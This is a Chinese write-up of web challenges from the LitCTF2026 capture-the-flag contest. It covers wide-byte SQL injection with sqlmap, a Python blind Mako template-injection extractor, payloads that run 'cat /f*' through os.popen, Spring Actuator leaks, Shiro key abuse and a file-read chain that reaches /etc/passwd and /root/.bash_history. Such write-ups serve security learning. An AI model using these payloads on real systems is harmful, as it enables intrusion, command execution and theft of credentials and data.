LitCTF2026web部分wp

[LitCTF2026] lit_ezsql

题目

注注注!

',",)轮番上阵都没报错

常规or语句和双写也没成功

查询1

id name col2 col3 col4
1 alice visitor none none

查询2

id name col2 col3 col4
2 bob visitor none none

其他基本都无查询结果

但是查询

复制代码
2abc
21
2'

会回显bob,也就是说,后面的部分应该没有正常直接拼接进语句

玄网安全的师傅wp中提到了一个合理的推断(不然就得盲猜宽字节注入)

https://mp.weixin.qq.com/s/d8MbcXiWcWWVVOD6aptevQ

复制代码
关键突破点是发现调试参数:
/query?id=1&debug=1

访问/query?id=2&debug=1

sql 复制代码
SELECT 
`id`,`name`,`col2`,`col3`,`col4` 
FROM 
`ezsql`.`users` 
WHERE 
id='2' 
LIMIT 50

尝试/query?id=2'&debug=1

变成了

sql 复制代码
WHERE id='2\''

可以发现,之前的方法没有触发报错是因为反斜杠转义

一般反斜杠转义的情况就考虑宽字节注入

sqlmap

复制代码
python sqlmap.py -u "http://challenge.cyclens.tech:32234/query?id=1" --tamper=unmagicquotes --delay=0.5 --dbs --batch


available databases [2]:
[*] ezsql
[*] information_schema

python sqlmap.py -u "http://challenge.cyclens.tech:32234/query?id=1" -D ezsql -T flag_store -C flag --dump --tamper=unmagicquotes --delay=0.5 --batch

+--------------------------------------------+
| flag                                       |
+--------------------------------------------+
| flag{89fct4ds-4tm6-4hp-8u1v-ay37y9kc2fwjy} |
+--------------------------------------------+

手注

回顾宽字节注入原理

复制代码
利用数据库字符集(如GBK、GB2312、BIG5等)中,反斜杠 \ 的URL编码 %5c 与前一个字符(如 %df、%e5、%bf 等)组合成一个合法多字节字符,从而"吃掉"转义符,让后面的单引号 ' 逃逸出来

使用短payload验证一下

复制代码
1%df'

关键点 :在 GBK编码 下:

  • %df(ß的GBK高位字节) + %5c(反斜杠) = %df%5c 被解析为一个汉字字符"運"
  • 原本的转义符 \ 被"吸收"进了这个汉字,不再具有转义功能
  • 剩下的单引号 ' 成功逃逸,可以闭合字符串

最终payload

复制代码
1%df' UNION SELECT 1,2,3,4,group_concat(flag) FROM flag_store--+

反思

花了十几分钟没手搓出来故放弃,宽字节注入其实刚入门CTF时候就在pikachu靶场遇到了,但是当时没怎么注意,也一直没遇到这个考点,知识储备不够广吧

[LitCTF2026] lit_ezssti

题目

缺什么补什么(x

别真以为很简单,直接讲复盘时候总结的正常思路

SSTI由于平时遇到的都是jinja2的模板注入,忽略了其他模板

(上面图片来自 https://www.cnblogs.com/lx207/articles/18958248

总结一下如何确定模板

复制代码
按这个顺序最稳:

1. {{7*7}}
2. ${7*7}
3. <%=7*7%>
4. \#{7*7}
5. [[7*7]]
6. % 或 % if 1:

常见指纹如下:

现象 大概率模板
SyntaxException: Invalid control line Mako
jinja2.exceptions... Jinja2
Twig\Error... Twig
EJS、ejs.js、Unexpected token %> EJS
ERB、ActionView::Template::Error ERB / Rails
FreeMarker、freemarker.core... FreeMarker
Thymeleaf、SpEL Thymeleaf
template parsing error + {{.}} 风格 Go template

前面的参数都没有什么有价值的特征

但是传入%的时候,触发了报错,而且是Mako的特征

验证 payload:

text 复制代码
% if True:
OK
% endif

返回结果是:

text 复制代码
OK

这一步可以正式确认Mako模板

但是经测试,存在较严格的过滤

复制代码
() [] '' = flag 等

盲注

paylaod:

复制代码
% for line in open('/fla'+'g'):
% if '<probe>' in line:
YES
% endif
% endfor

依次尝试

若真,回显YES;若假,无回显

py 复制代码
#!/usr/bin/env python3
import argparse
import re
import string
import sys
from typing import Optional

import requests


OUT_RE = re.compile(r'<pre id="out">([\s\S]*?)</pre>')


def to_concat_expr(text: str) -> str:
    # Build "'f'+'l'+'a'+'g'" style expression to avoid raw keyword filters.
    parts = []
    for ch in text:
        if ch == "'":
            parts.append('"\'"')
        else:
            parts.append(f"'{ch}'")
    return "+".join(parts)


def hit(url: str, candidate: str, timeout: float = 10.0) -> Optional[bool]:
    candidate_expr = to_concat_expr(candidate)
    payload = (
        "% for line in open('/fla'+'g'):\n"
        f"% if {candidate_expr} in line:\n"
        "YES\n"
        "% endif\n"
        "% endfor"
    )
    try:
        resp = requests.post(
            url,
            data={"tpl": payload},
            timeout=timeout,
        )
    except requests.RequestException:
        return None

    m = OUT_RE.search(resp.text)
    if not m:
        return None
    out = m.group(1).strip()
    if out == "WAF":
        return False
    return "YES" in out


def extract_flag(
    url: str,
    prefix: str,
    charset: str,
    max_len: int,
    timeout: float,
) -> str:
    cur = prefix
    for _ in range(max_len):
        found = False
        for ch in charset:
            cand = cur + ch
            ok = hit(url, cand, timeout=timeout)
            if ok is None:
                print(f"[!] Request/parse failed on candidate: {cand}", file=sys.stderr)
                continue
            if ok:
                cur = cand
                print(f"[+] {cur}")
                found = True
                if cur.endswith("}"):
                    return cur
                break
        if not found:
            return cur
    return cur


def main() -> None:
    parser = argparse.ArgumentParser(description="Blind Mako SSTI flag extractor")
    parser.add_argument(
        "--url",
        default="http://challenge.cyclens.tech:32340/",
        help="Target URL",
    )
    parser.add_argument(
        "--prefix",
        default="flag{",
        help="Initial prefix to expand",
    )
    parser.add_argument(
        "--max-len",
        type=int,
        default=80,
        help="Maximum chars to append after prefix",
    )
    parser.add_argument(
        "--charset",
        default=string.ascii_letters + string.digits + "{}_-",
        help="Charset used during brute force",
    )
    parser.add_argument(
        "--timeout",
        type=float,
        default=10.0,
        help="HTTP timeout seconds",
    )
    args = parser.parse_args()

    print(f"[*] Target: {args.url}")
    print(f"[*] Prefix: {args.prefix}")
    print(f"[*] Charset length: {len(args.charset)}")

    result = extract_flag(
        url=args.url,
        prefix=args.prefix,
        charset=args.charset,
        max_len=args.max_len,
        timeout=args.timeout,
    )
    print(f"[=] Result: {result}")


if __name__ == "__main__":
    main()
复制代码
python E:\cod\mako_blind_flag_extractor.py --url http://challenge.cyclens.tech:32340/ --prefix "flag{" --max-len 80

flag{hhqmzcmj-eupe-4yg-8xis-hrhhvxrzxbpsa}

绕过

已知以下内容被拦截

复制代码
context.write
os.popen

我们可以想办法绕过

复制代码
getattr(context, "write")
getattr(__import__("os"), "popen")

目标

复制代码
exec("import os\n"
     "getattr(context, 'write')("
     "getattr(getattr(__import__('os'), 'popen')('cat /f*'), 'read')()"
     ")")

执行逻辑:

  1. exec(...) 执行拼好的 Python 代码。
  2. import('os') 拿到 os 模块。
  3. getattr(..., 'popen')('cat /f*') 执行命令。
  4. getattr(..., 'read')() 读取命令输出。
  5. getattr(context, 'write')(...) 把输出写到 HTTP 响应。

外部嵌套一个<% %>使内容作为python运行

验证可行性

复制代码
<% exec("getattr(context, 'write')('hello')") %>

拿flag

复制代码
<% exec("getattr(context, 'write')(getattr(open('/fla'+'g'), 'read')())") %>

<% exec("import os\ngetattr(context, 'write')(getattr(getattr(__import__('os'), 'popen')('cat /f*'), 'read')())") %>

反思

题目到此为止了

我们继续读取其他文件

找到了/app/app/routes.py 和 /app/app/waf.py但是直接读取会被过滤,使用通配符

/app/app/routes.py

py 复制代码
from __future__ import annotations

import html

from flask import Blueprint, jsonify, render_template, request
from mako.template import Template

from app.waf import apply_waf

bp = Blueprint("main", __name__)


def _render_ctx() -> dict:
    return {}


def _plain(s: object) -> str:
    if s is None:
        return ""
    return html.unescape(str(s))


@bp.route("/", methods=["GET", "POST"])
def index():
    echo = ""
    raw = ""
    if request.method == "POST":
        raw = request.form.get("tpl", "") or ""
        body, err = apply_waf(raw)
        if err is not None:
            echo = err
        else:
            try:
                tpl = Template(body)
                echo = _plain(tpl.render(**_render_ctx()))
            except Exception as e:  # noqa: BLE001
                echo = f"[渲染异常] {type(e).__name__}: {e}"
    return render_template("index.html", echo=echo, raw=raw)


@bp.get("/healthz")
def healthz():
    return jsonify({"ok": True})

/app/app/waf.py

py 复制代码
"""题目 WAF:同时禁止 `${` 与 ASCII 点号 `.`(fenjing 梗:拆表达式、别用点属性)。"""


def apply_waf(raw: str) -> tuple[str | None, str | None]:
    """
    Returns (template_to_render, error_message).
    If blocked, (None, user-visible message).
    """
    banlist = ["${", ".", "=","flag","[","]"]
    for item in banlist:
        if item in raw:
            return None, "WAF"
    
    return raw, None

处理顺序

复制代码
输入

request.form.get("tpl", "") #得到url编码后的字符串

apply_waf(raw) #过滤黑名单

tpl = Template(body)
echo = tpl.render(**_render_ctx()) #创建一个 Mako 模板对象并渲染

html.unescape(str(s)) #html解码

render_template("index.html", echo=echo, raw=raw) #jinja2渲染

依旧是曾经遇到的东西没重视,知识面不够广

fenjing主要面向Jinja/Flask,而且黑名单过滤较严格,没办法一把梭

[LitCTF2026] 华辰企业服务运营平台

前置知识点

复制代码
Spring Boot 的 Actuator 是运维监控模块,提供了一堆健康检查、配置查询接口:

  ┌───────────────────────┬─────────────────────────────────────┬────────┐
  │         端点          │                功能                 │ 危险性 │
  ├───────────────────────┼─────────────────────────────────────┼────────┤
  │ /actuator/health      │ 健康检查                            │ 低     │
  ├───────────────────────┼─────────────────────────────────────┼────────┤
  │ /actuator/info        │ 应用信息                            │ 低     │
  ├───────────────────────┼─────────────────────────────────────┼────────┤
  │ /actuator/env         │ 所有环境变量、配置项                │ 极高   │
  ├───────────────────────┼─────────────────────────────────────┼────────┤
  │ /actuator/mappings    │ 所有路由映射                        │ 中     │
  ├───────────────────────┼─────────────────────────────────────┼────────┤
  │ /actuator/heapdump    │ JVM                                 │ 极高   │
  │                       │ 堆快照(含内存中所有变量、密码)    │        │
  ├───────────────────────┼─────────────────────────────────────┼────────┤
  │ /actuator/configprops │ 配置项                              │ 中     │
  ├───────────────────────┼─────────────────────────────────────┼────────┤
  │ /actuator/loggers     │ 日志级别                            │ 中     │
  ├───────────────────────┼─────────────────────────────────────┼────────┤
  │ /actuator/threaddump  │ 线程栈                              │ 中     │
  └───────────────────────┴─────────────────────────────────────┴────────┘

题目描述

某客服工单系统上线后,保留了大量运维与调试能力。

你需要从系统暴露面和服务器中收集关键信息,完成权限突破并还原完整 flag

提示: 历史归档备注 -> 历史归档备注(flag2)

查看源码没有什么重要发现

扫目录发现一堆

环境变量

访问/actuator/env,找到flag

隐私泄露

访问/actuator/heapdump下载

直接搜flag{

shiro漏洞利用(脚本小子)

先查看源码,有/js/index.js我们查看下

js 复制代码
async function loadHomeData() {
    const banner = await fetch('/api/public/banner').then(r => r.json());
    document.getElementById('bannerPanel').innerHTML = `
        <h2>${banner.title}</h2>
        <p>${banner.subtitle}</p>
        <p class="muted">å¹³å°å®šä½ï¼šå®¢æˆ·æœåŠ¡æ ‡å‡†åŒ--、流程可追溯、审计可é---­çŽ¯ã€‚</p>
    `;

    const news = await fetch('/api/public/news').then(r => r.json());
    document.getElementById('newsPanel').innerHTML = `
        <h2>企业å...¬å'Š</h2>
        <ul>${news.items.map(i => `<li>${i}</li>`).join('')}</ul>
    `;
}

loadHomeData();

index.js 调了:

  • GET /api/public/banner
  • GET /api/public/news

js 复制代码
const form = document.getElementById('loginForm');
const result = document.getElementById('result');

form.addEventListener('submit', async (e) => {
    e.preventDefault();
    const payload = {
        username: document.getElementById('username').value.trim(),
        password: document.getElementById('password').value,
        rememberMe: document.getElementById('rememberMe').checked
    };

    const resp = await fetch('/api/auth/login', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(payload)
    }).then(r => r.json());

    result.textContent = JSON.stringify(resp, null, 2);
    if (resp.ok) {
        setTimeout(() => {
            window.location.href = '/dashboard';
        }, 600);
    }
});

login.js 调了:

  • POST /api/auth/login,body 是 JSON:

gpt说到这里能猜出后端是个 Java Spring Boot 风格的 REST API(/api/... 路径 +

JSON)。

抓个包

复制代码
{"username":"user","password":"111","rememberMe":true}

还真有"rememberMe":true难道是Apache Shiro?

提到shiro

  • 可能是 Shiro 反序列化(CVE-2016-4437 / CVE-2020-1957 / CVE-2020-11989 /
    CVE-2022-32532)
  • 可能存在 Shiro 鉴权绕过

在环境变量中拿到

复制代码
"LAB_SHIRO_KEY_B64": {
          "value": "R1pDVEZTaGlyb0dDTUtleQ==",
          "origin": "System Environment Property \"LAB_SHIRO_KEY_B64\""
        },

使用shiro漏洞工具

根目录下拿到flag1

env中有flag2,拼接一下拿到完整flag

这只是简单的工具利用shiro

还有一种手搓shiro提权的方法,但我不会java....

[LitCTF2026] lit_reverse_my_web

逆向还是不蒸了吧

逆向那secret伪造token去访问/flag

[LitCTF2026] Northbridge Document Hub

题目

查看源码,访问/assets/js/portal.js

js 复制代码
(function () {
    var bootstrap = {
        release: "2026.03.01-r12",
        region: "cn-sh2",
        auth: {
            mode: "legacy-fallback",
            // researcher:Research#2026
            seed: "cmVzZWFyY2hlcjpSZXNlYXJjaCMyMDI2"
        },
        fileGateway: {
            path: "/kkfileview/getCorsFile",
            queryKey: "urlPath",
            node: "legacy-parse-02"
        }
    };

    window.NorthbridgePortal = {
        config: bootstrap,
        decodeLegacyCredential: function () {
            try {
                return atob(bootstrap.auth.seed);
            } catch (e) {
                return "";
            }
        }
    };

    var form = document.querySelector("form[data-auth='portal']");
    if (form) {
        form.addEventListener("submit", function () {
            form.classList.add("is-submitting");
        });
    }
})();

发现一个疑似读取文件的路径

js 复制代码
path: "/kkfileview/getCorsFile",
queryKey: "urlPath",

发现种子

复制代码
seed: "cmVzZWFyY2hlcjpSZXNlYXJjaCMyMDI2"

base64解码就是上行的注释....

复制代码
researcher:Research#2026

没想到这就是密码....

researcher / Research#2026

登录

访问刚刚疑似读取文件的路径

复制代码
/kkfileview/getCorsFile?urlpath=

啥也读不出来,原来需要base64编码

复制代码
读取/etc/passwd

改为file:///etc/passwd

base64编码得
ZmlsZTovLy9ldGMvcGFzc3dk

GET /kkfileview/getCorsFile?urlPath=ZmlsZTovLy9ldGMvcGFzc3dk

尝试访问/root/.bash_history

/root/.bash_historyLinux 系统中 root 用户的操作命令历史记录文件

bash 复制代码
cd /opt/kkfileview/bin
./startup.sh --cache.dir=/opt/kkfileview/cache/parsed
java -jar kkFileView.jar --cache.dir=/opt/kkfileview/cache/parsed --forceUpdatedCache=true
cp /opt/kkfileview/cache/parsed/q1_finance_report_2026.zip /tmp/q1_finance_report_2026.zip

下载file:///opt/kkfileview/cache/parsed/q1_finance_report_2026.zip

解压拿到flag.txt